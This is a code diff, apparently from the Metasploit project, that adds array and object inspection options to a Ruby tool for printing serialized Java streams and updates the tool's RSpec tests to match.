end
|
||||
|
||||
describe "#encode" do
|
||||
it "re-encodes a ReturnData stream correctly" do
|
||||
return_data.decode(return_stream_io)
|
||||
expect(return_data.encode).to eq(return_stream)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -47,14 +47,32 @@ describe JavaDeserializer do
|
|||
end
|
||||
|
||||
context "when file contains a valid stream" do
|
||||
it "prints the stream contents" do
|
||||
expect(File).to receive(:new) do
|
||||
contents = valid_stream
|
||||
StringIO.new(contents)
|
||||
before(:each) do
|
||||
$stdout.string = ''
|
||||
end
|
||||
|
||||
context "when no options" do
|
||||
it "prints the stream contents" do
|
||||
expect(File).to receive(:new) do
|
||||
contents = valid_stream
|
||||
StringIO.new(contents)
|
||||
end
|
||||
deserializer.file = 'sample'
|
||||
deserializer.run
|
||||
expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }')
|
||||
end
|
||||
end
|
||||
|
||||
context "when :array in options" do
|
||||
it "prints the array contents" do
|
||||
expect(File).to receive(:new) do
|
||||
contents = valid_stream
|
||||
StringIO.new(contents)
|
||||
end
|
||||
deserializer.file = 'sample'
|
||||
deserializer.run({:array => '0'})
|
||||
expect($stdout.string).to include('Array Type: char')
|
||||
end
|
||||
deserializer.file = 'sample'
|
||||
deserializer.run
|
||||
expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -69,6 +87,5 @@ describe JavaDeserializer do
|
|||
expect($stdout.string).to include('[-] Failed to unserialize Stream')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -13,6 +13,7 @@ end
|
|||
$:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib')))
|
||||
require 'rex/java/serialization'
|
||||
require 'pp'
|
||||
require 'optparse'
|
||||
|
||||
# This class allows to deserialize Java Streams from
|
||||
# files
|
||||
|
@ -31,7 +32,7 @@ class JavaDeserializer
|
|||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream] if succeeds
|
||||
# @return [nil] if error
|
||||
def run
|
||||
def run(options = {})
|
||||
if file.nil?
|
||||
print_error("file path with serialized java stream required")
|
||||
return
|
||||
|
@ -49,7 +50,13 @@ class JavaDeserializer
|
|||
return
|
||||
end
|
||||
|
||||
puts stream
|
||||
if options[:array]
|
||||
print_array(stream.contents[options[:array].to_i])
|
||||
elsif options[:object]
|
||||
print_object(stream.contents[options[:object].to_i])
|
||||
else
|
||||
puts stream
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
@ -75,9 +82,87 @@ class JavaDeserializer
|
|||
def print_line
|
||||
$stdout.puts("\n")
|
||||
end
|
||||
|
||||
# @param [Rex::Java::Serialization::Model::NewObject] obj the object to print
|
||||
# @param [Fixnum] level the indentation level when printing super classes
|
||||
def print_object(obj, level = 0)
|
||||
prefix = " " * level
|
||||
if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc
|
||||
puts "#{prefix}Object Class Description:"
|
||||
print_class(obj.class_desc.description, level + 1)
|
||||
else
|
||||
puts "#{prefix}Object Class Description: #{obj.class_desc.description}"
|
||||
end
|
||||
puts "#{prefix}Object Data: #{obj.class_data}"
|
||||
end
|
||||
|
||||
# @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print
|
||||
# @param [Fixnum] level the indentation level when printing super classes
|
||||
def print_class(c, level = 0)
|
||||
prefix = " " * level
|
||||
puts "#{prefix}Class Name: #{c.class_name}"
|
||||
puts "#{prefix}Serial Version: #{c.serial_version}"
|
||||
puts "#{prefix}Flags: #{c.flags}"
|
||||
puts "#{prefix}Fields ##{c.fields.length}"
|
||||
c.fields.each do |f|
|
||||
puts "#{prefix}Field: #{f}"
|
||||
end
|
||||
puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}"
|
||||
c.class_annotation.contents.each do |c|
|
||||
puts "#{prefix}Annotation: #{c}"
|
||||
end
|
||||
puts "#{prefix}Super Class: #{c.super_class}"
|
||||
if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc
|
||||
print_class(c.super_class.description, level + 1)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Rex::Java::Serialization::Model::NewArray] arr the array to print
|
||||
# @param [Fixnum] level the indentation level when printing super classes
|
||||
def print_array(arr, level = 0)
|
||||
prefix = " " * level
|
||||
if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc
|
||||
puts "#{prefix}Array Description"
|
||||
print_class(arr.array_description.description, 1)
|
||||
else
|
||||
puts "#{prefix}Array Description: #{arr.array_description.description}"
|
||||
end
|
||||
puts "#{prefix}Array Type: #{arr.type}"
|
||||
puts "#{prefix}Array Values ##{arr.values.length}"
|
||||
arr.values.each do |v|
|
||||
puts "Array value: #{prefix}#{v} (#{v.class})"
|
||||
if v.class == Rex::Java::Serialization::Model::NewObject
|
||||
print_object(v, level + 1)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
|
||||
options = {}
|
||||
OptionParser.new do |opts|
|
||||
opts.banner = "Usage: java_deserializer.rb <file> [option]"
|
||||
|
||||
opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id|
|
||||
options[:array] = id
|
||||
end
|
||||
|
||||
opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id|
|
||||
options[:object] = id
|
||||
end
|
||||
|
||||
opts.on("-h", "--help", "Prints this help") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end.parse!
|
||||
|
||||
if options.length > 1
|
||||
$stdout.puts "[-] Don't provide more than one option"
|
||||
exit
|
||||
end
|
||||
|
||||
deserializer = JavaDeserializer.new(ARGV[0])
|
||||
deserializer.run
|
||||
deserializer.run(options)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue